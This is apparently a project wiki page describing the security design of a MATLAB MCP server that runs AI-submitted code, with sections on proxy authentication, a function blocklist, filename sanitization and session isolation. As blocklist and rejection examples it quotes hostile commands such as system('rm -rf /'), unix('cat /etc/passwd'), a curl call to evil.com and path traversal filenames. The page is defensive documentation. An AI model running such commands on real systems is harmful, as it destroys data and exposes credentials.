-
Notifications
You must be signed in to change notification settings - Fork 0
Security
The MATLAB MCP Server implements a multi-layered security architecture to safely expose MATLAB execution to AI agents while preventing unauthorized access and misuse.
graph TB
Client["AI Agent / Client"]
Auth["Authentication Layer<br/>(Reverse Proxy)"]
Server["MCP Server<br/>(SSE/stdio)"]
Validator["Security Validator<br/>(Blocklist Check)"]
Executor["Job Executor<br/>(Code Execution)"]
Pool["Engine Pool<br/>(Workspace Isolation)"]
MATLAB["MATLAB Engine"]
Client -->|Request| Auth
Auth -->|Authenticated Session| Server
Server -->|Code + Session ID| Validator
Validator -->|Blocked?| Executor
Executor -->|Safe Code| Pool
Pool -->|Isolated Workspace| MATLAB
style Auth fill:#ff9999
style Validator fill:#ffcc99
style Pool fill:#99ccff
stdio Transport (Single User)
- No authentication needed
- Suitable for local development or trusted environments
- Single fixed session per server instance
SSE Transport (Multi-User)
- Requires reverse proxy with authentication
- Each client connection receives a unique
session_id - Session-isolated temporary directories and workspaces
- Configure via
server.transport: "sse"andsecurity.require_proxy_auth: true
The server must be deployed behind an authenticating reverse proxy when using SSE:
security:
require_proxy_auth: true # Acknowledges auth is in place
server:
transport: "sse"
host: "127.0.0.1" # Bind to localhost only
port: 8765 # Never expose directlyRecommended Proxy Configuration:
# Nginx example
server {
listen 443 ssl http2;
server_name matlab.example.com;
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
# Authentication (e.g., OAuth2, LDAP, Kerberos via auth module)
auth_request /auth;
location / {
proxy_pass http://127.0.0.1:8765;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-User-ID $remote_user;
proxy_set_header X-Session-ID $session_id;
}
}Security Warning:
The server logs a warning at startup if SSE is enabled without require_proxy_auth: true:
WARNING: SSE transport enabled without require_proxy_auth=true.
Ensure the server is behind an authenticating reverse proxy.
graph LR
Input["MATLAB Code<br/>Input"]
Strip["Strip Literals<br/>& Comments"]
Scan["Scan for<br/>Blocked Functions"]
SafeCode{"Safe?"}
Execute["Execute in<br/>Engine Pool"]
Reject["Reject with<br/>Error"]
Input --> Strip
Strip --> Scan
Scan --> SafeCode
SafeCode -->|Yes| Execute
SafeCode -->|No| Reject
style Reject fill:#ff9999
style Execute fill:#99ff99
SecurityValidator (src/matlab_mcp/security/validator.py):
class SecurityValidator:
def check_code(self, code: str) -> None:
"""Validate MATLAB code before execution.
1. Strips string literals and comments
2. Scans for blocked function calls
3. Raises BlockedFunctionError if violation detected
"""By default, these MATLAB functions are blocked:
| Function | Risk | Example |
|---|---|---|
system() |
Execute arbitrary OS commands | system('rm -rf /') |
unix() |
Execute Unix shell commands | unix('cat /etc/passwd') |
dos() |
Execute Windows commands | dos('del C:\System32') |
! |
Shell escape operator | !curl http://evil.com |
eval() |
Execute arbitrary string as MATLAB code | eval('load backdoor') |
feval() |
Call function by name string | feval(user_input) |
evalc() |
Evaluate and capture output | evalc(untrusted_code) |
evalin() |
Evaluate in specific workspace | evalin('base', 'secret') |
assignin() |
Assign variable in caller workspace | assignin('base', var, val) |
perl() |
Execute Perl scripts | perl('system("id")') |
python() |
Execute Python scripts | python('import os; os.system(...)') |
The validator strips string literals and comments before checking. This prevents false positives:
% SAFE — These will NOT trigger the blocklist:
disp('The operating system is great') % "system" in string literal
msg = "Unix-based systems"; % "unix" in string
% system('ls') % "system" in comment
help_text = ['Type: system, Version: 1']; % "system" in char array
% BLOCKED — These WILL be detected:
system('whoami') % Actual function call
y = eval(user_code) % Actual eval call
feval(func_name, arg) % Actual feval callThe filename_sanitizer() function prevents path traversal and unsafe filenames:
def sanitize_filename(filename: str) -> str:
"""Allow only safe characters: [a-zA-Z0-9._-]"""
# Rejects: ../../, /etc/passwd, ..\..\, C:\, etc.Rejected Filenames:
-
../../etc/passwd(path traversal) -
/etc/shadow(absolute path) -
..\..\windows\system32(Windows traversal) -
file|with&special<chars>(unsafe characters)
Accepted Filenames:
data.csvmy_script.mresults-2024.txtoutput_v2.0.mat
security:
# Enable/disable function blocklist
blocked_functions_enabled: true
# Default blocklist (can be customized)
blocked_functions:
- "system"
- "unix"
- "dos"
- "!"
- "eval"
- "feval"
- "evalc"
- "evalin"
- "assignin"
- "perl"
- "python"
# Upload protection
max_upload_size_mb: 100
# Proxy authentication flag (SSE only)
require_proxy_auth: falseAdd or remove functions based on your use case:
security:
blocked_functions_enabled: true
blocked_functions:
- "system"
- "unix"
- "dos"
- "!"
- "eval"
- "feval"
- "evalc"
- "evalin"
- "assignin"
- "perl"
- "python"
- "web" # Add if you want to prevent web access
- "websave" # Add if you want to prevent downloads
- "urlread" # Add if you want to prevent HTTP requestssecurity:
blocked_functions_enabled: false # DANGEROUS — allows all functionsEach user session has its own isolated MATLAB workspace:
graph TB
Session1["Session 1<br/>(User A)"]
Session2["Session 2<br/>(User B)"]
Engine1["Engine 1<br/>Workspace A"]
Engine2["Engine 2<br/>Workspace B"]
Session1 -->|x=10, y=20| Engine1
Session2 -->|x=99, y=88| Engine2
Note["Variables do NOT<br/>leak between sessions"]
style Session1 fill:#99ccff
style Session2 fill:#ffcc99
style Engine1 fill:#99ff99
style Engine2 fill:#ffff99
When execution.workspace_isolation: true (default), the server automatically clears the workspace between code executions:
clear all; % Remove user variables
clear global; % Clear global variables
clear functions; % Clear loaded user functions
fclose all; % Close all file handles
restoredefaultpath; % Reset MATLAB search pathexecution:
workspace_isolation: true # Recommended for multi-user
# OR
workspace_isolation: false # Single-user systems onlysequenceDiagram
participant Client
participant Server
participant SessionMgr
participant TempDir
Client->>Server: Request with session_id
Server->>SessionMgr: get_or_create(session_id)
SessionMgr->>TempDir: Create ./temp/session_{id}/
TempDir-->>SessionMgr: temp_dir
SessionMgr-->>Server: session
Server->>Server: Execute code in temp_dir
Note over Server: Session idle for 60 min
Server->>SessionMgr: Cleanup(session_id)
SessionMgr->>TempDir: rm -rf temp/session_{id}/
sessions:
max_sessions: 50 # Max concurrent sessions
session_timeout: 3600 # Idle timeout (seconds)
job_retention_seconds: 86400 # Keep job records for 24h
execution:
temp_cleanup_on_disconnect: true # Delete files on disconnect-
Session expiration: Sessions are marked inactive after
session_timeoutseconds of no activity -
Temp file deletion: All files in
./temp/session_{id}/are deleted when the session ends -
Job records: Completed/failed job metadata is pruned after
job_retention_seconds
security:
max_upload_size_mb: 100 # Default: 100 MB per fileAttempts to upload larger files return an error:
{
"status": "error",
"error": {
"type": "ValidationError",
"message": "File size (250 MB) exceeds max_upload_size_mb (100 MB)"
}
}Upload filenames are strictly validated before storing:
# Tool: upload_data
# Parameters: filename (string), content_base64 (string)
# Sanitization rules:
# 1. Reject path traversal: ../, ..\, /path, C:\path
# 2. Allow only: [a-zA-Z0-9._-]
# 3. Max length: 255 charactersExamples:
✓ data.csv
✓ my_script.m
✓ results_v2.0.xlsx
✗ ../../etc/passwd (path traversal)
✗ /absolute/path.mat (absolute path)
✗ file|with&bad.txt (special characters)
When monitoring is enabled (monitoring.enabled: true), the server logs security events:
collector.record_event("blocked_function", {
"function": "system",
"code_snippet": "system('whoami')",
"session_id": "s-abc123",
"timestamp": 1234567890
})Query recent security violations:
# Use the error_log tool to see recent security events
GET /api/error-log?hours=24&event_type=blocked_functionserver:
transport: "stdio" # Single user via stdio
log_level: "debug" # Verbose logging
security:
blocked_functions_enabled: true
require_proxy_auth: false # Not needed for local
execution:
workspace_isolation: false # Not needed for single userserver:
transport: "sse"
host: "127.0.0.1" # Only bind to localhost
port: 8765
security:
blocked_functions_enabled: true
require_proxy_auth: true # REQUIRED for SSE
max_upload_size_mb: 500 # Increase for team use
sessions:
max_sessions: 25 # Limit concurrent users
session_timeout: 7200 # 2 hours
execution:
workspace_isolation: true # REQUIRED for multi-userReverse Proxy Configuration (nginx):
server {
listen 443 ssl http2;
server_name matlab.company.com;
ssl_certificate /etc/letsencrypt/live/matlab.company.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/matlab.company.com/privkey.pem;
# OAuth2 Proxy (or similar auth module)
auth_request /oauth2/auth;
error_page 401 =302 /oauth2/start;
location / {
proxy_pass http://127.0.0.1:8765;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-User-ID $remote_user;
}
}server:
transport: "sse"
host: "127.0.0.1"
log_level: "warning" # Less verbose for prod
security:
blocked_functions_enabled: true
# Review and customize blocklist for your applications
blocked_functions:
- "system"
- "unix"
- "dos"
- "!"
- "eval"
- "feval"
- "evalc"
- "evalin"
- "assignin"
- "perl"
- "python"
require_proxy_auth: true # MUST be true
max_upload_size_mb: 1000
sessions:
max_sessions: 100
session_timeout: 3600 # 1 hour
job_retention_seconds: 604800 # 7 days
execution:
workspace_isolation: true
temp_cleanup_on_disconnect: true
max_execution_time: 3600 # 1 hour max per job
monitoring:
enabled: true # Enable metrics & audit log
sample_interval: 5
retention_days: 30
dashboard_enabled: trueDeployment Checklist:
- Server runs behind reverse proxy with TLS 1.3+
- Proxy enforces authentication (OAuth2, SAML, Kerberos, etc.)
-
require_proxy_auth: truein config - Blocklist reviewed for your MATLAB code patterns
- Monitoring enabled with secure log storage
- Regular backups of metrics database
- Firewall rules restrict access to localhost only
- Log aggregation configured (Splunk, ELK, Datadog, etc.)
If you discover a security vulnerability, please report it responsibly:
- Do NOT open a public GitHub issue
- Email: [security contact or link to SECURITY.md]
-
Include:
- Description of the vulnerability
- Steps to reproduce
- Potential impact
- Suggested fix (if any)
We will acknowledge receipt within 24 hours and work toward a fix within 14 days.